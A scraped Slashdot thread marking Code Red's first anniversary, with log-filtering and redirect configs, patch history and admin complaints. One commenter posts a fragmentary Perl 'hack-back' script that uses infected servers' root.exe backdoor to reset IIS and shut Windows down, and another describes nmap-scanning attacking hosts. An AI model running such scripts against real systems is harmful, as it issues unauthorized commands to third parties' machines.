Slashdot Mirror
Happy Birthday Code Red
totallygeek writes: "One year ago today (July 19, 2001), more than 359,000 computers were infected with the Code Red worm in less than 14 hours. At the peak of infection, more than 2,000 new machines were infected each minute. Servers running Internet Information Services from Microsoft were propagating this worm across the Internet faster than anything has up to then or since. For the first time, systems running the Apache web server were getting requests for a document called "default.ida". Here we are a year later, and my web log shows an average of forty-two requests per day for default.ida over the last five days. To really appreciate the spread of this program, look at this animated image."
That's the nimda worm. Running apache, you're immune to it, but it makes a mess in your logs.
One thing to do is have a cron job to scan your logs and if it sees any of the above, add the ip to an iptables blocklist. At least that way, you only get hit once by it from each infected host.
Or you could use apache's rewrite rules to forward all attacks to www.micrsoft.com, but I wouldn't recommend that.
dave
from the original analysis by David Moore:
.FLI) .mov {requires QuickTime v3 or newer} )
UK Mirror
UK FTP
AU Mirror
Flipbook animation (207k
Quicktime animation of growth by geographic breakdown (200K
original www.caida.org gif animation
HIV Crosses Species Barrier... into Muppets
4,375,130 bytes long. :)
It's either really detailed or someone wanted to play a dirty trick on the admin.
I'm still downloading it, at about 1.5k/second.
Click here or here.
many months ago when default.ida was the rage around the www, I added these couple lines to my httpd.conf:
SetEnvIf Request_URI "^/default.ida" dontlog
ErrorLog logs/254-error_log
CustomLog logs/254-access_log combined env=!dontlog
check out SetEnvIf in apache docs, you can do even better than this.
Server is still infected with a IIS virus (though not Code Red). Here it is
I sent them an email - almost a year ago in fact. They just brushed me off and gave a rather pathetic excuse ("the box is too slow to run Norton").
You can read the e-mail here.
Of course, these are the same people who run a trouble ticket server on the district wide WAN that any old joe at school can access and see where the security issues are.
What pisses me off is that when an early exploit was detected awhile back (err, many years), somebody released worm to go around and fix it but THEY where the ones who got in trouble with the FBI, thus setting a precident in the future saying that the computer community was not allowed to take all neccisary steps to fix problems that may pop up.
Kind of killed off community effort right there. >;(
Need help treating your acne? Come here!
6/18: MS sends MS01-33: Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise - Run code of attacker's choice.
7/18: CodeRed hits, those of us who installed the MS01-33 patch laugh.
7/30: MS et al send out another alert uring people to read MS01-33 and install the patch.
robots.txt has a legitimate use. Redirecting attempts to access it would be extremely stupid.
When a legitimate bot such as google scans your system, it looks in robots.txt for find out where NOT to scan in case you have web pages you do not wish to be searchable.
-- Will program for bandwidth
I just knocked together this perl script to send
s top",$ENV{REMOTE_ADDR});
x e+shell32.dll,SHExitWindowsEX+5" ,$ENV{REMOTE_ADDR});
/. reference
those items out, run it as a CGI script. Any
comments / suggestions? WARNING: I'm still learning perl... this could be (is?) ugly!
#!/usr/bin/perl
# This is a CGI script. Properly linked from your
# web server, it turns around and issues commands
# to a code red-infected server that is trying
# to kill your server. Make $YOURSERVER/default.ida run
# this CGI script, and watch the other server stop its
# IIS service and shut down windows.
use LWP::Simple;
my $incoming;
my $request;
print "HTTP/1.0 200 OK\n\nBeginning rooting of your code-red-infested box...\n";
print "This could look weird on your logs if you're not infected and just poking around.\n\n";
$request = sprintf("http://%s/scripts/root.exe?/c+iisreset+/
$incoming = get $request;
print "\n", $request, "\n\n", $incoming, "\n\n";
$request = sprintf("http://%s/scripts/root.exe?/c+rundll32.e
$incoming = get $request;
print "\n", $request, "\n\n", $incoming, "\n\n";
#Obligatory
print "YHBT. Have a nice day.\n\n";
Every cloud has a silver lining (except for the mushroom shaped ones, which have a lining of Iridium & Strontium 90)
redirect /scripts http://www.stoptheviruscold.invalid /c http://www.stoptheviruscold.invalid /d http://www.stoptheviruscold.invalid /_mem_bin http://stoptheviruscold.invalid /_vti_bin http://stoptheviruscold.invalid /msadc http://stoptheviruscold.invalid /MSADC http://www.stoptheviruscold.invalid
redirect
redirect
redirect
redirect
redirect
redirect
RedirectMatch (.*)\cmd.exe$ http://stoptheviruscold.invalid$1
Use mod_rewrite to direct those scans to a cgi/web script. I'm storing them in a database which is being read as soon as my firewall starts (laptop). Completely automated.
- Every coder makes programming errors (some more than others, true).
- Microsoft released a *working* patch a few months before the exploits started.
- A work around was also available.
- A properly installed & configured server was *not* vulnerable.
- A web server does not need to *establish* outbound HTTP connections through the firewall, only to accept and reply to them.
You kind of get an idea where they are coming from.PS. That last point is the crux, and denying webservers the ability to establish outbound HTTP connections would have stopped Code Red type exploits dead. If your network is properly configured, even if you are exploited, then the exploit should have a much harder time propagating and thus making you look like a complete incompetent. The *real* problem is that a *huge* proportion of sysadmins don't seem to understand the most basic of security principles, and that's not Microsoft's problem at all.
UNIX? They're not even circumcised! Savages!
Here's a mirror of the image.
http://razor.hemmet.chalmers.se/CodeRedSpreading.g if
Actually, the worm got its virus from the drink.
Late at night, the programmers were drinking away their cans, when they identified the virus. They called it Code Red.
Believe it or not, out of all the people in in the world running MS Outlook, fewer than 1% have ever pulled down security patches, see The Great MS Patch Nobody Uses.
Additionally, the Win2K/NT server guys are afraid to install security patches since they never are really how much of their server is going to break. Often times, Admins will patch the servers which touch the Internet but not the Internal servers for fear of breaking them. With Code Red, this was quite humorous because the outer servers were patched as soon as the Code Red patch was available, thinking this action would defend the realm against Code Red, but they forgot about the laptop users which brought Code Red in the back door via the local LAN.
But not to worry folks, once we get Palladium hardware in all our servers, this will not happen again right? In fact we won't even have to patch anymore, since everything will be secure and, only secure applications will be allowed to run.
Oh, wait, wouldn't IIS pass the palladium trusted application test?
Why yes it would...... and Code Red would join the list of "Trusted Secure Applications".!
Sorry, I have to smack Palladium everytime I get a chance.
I just looked into the 22 code red hits one of my hosts has gotten from midnight to 9am today.
.gov.cn site.
The results are:
5 down
14 reported as a Windows variant by nmap
2 unknown
1 Linux
I looked into the 2 unknown results a bit more. Both respond on port 80 with an IIS banner and ASPSESSIONID cookies. One of them has a Serv-U banner for ftp as well.
Interestingly, one of them (the one w/o Serv-U) is a
The Linux result answers on port 443 as a vulnerable version of Apache on someone's firewall in Italy. This is likely being used as a launchpad for attacks.
So, from what I gather, the bulk of the ongoing Code Red attacks are from Windows machines with extremely negligent administrators.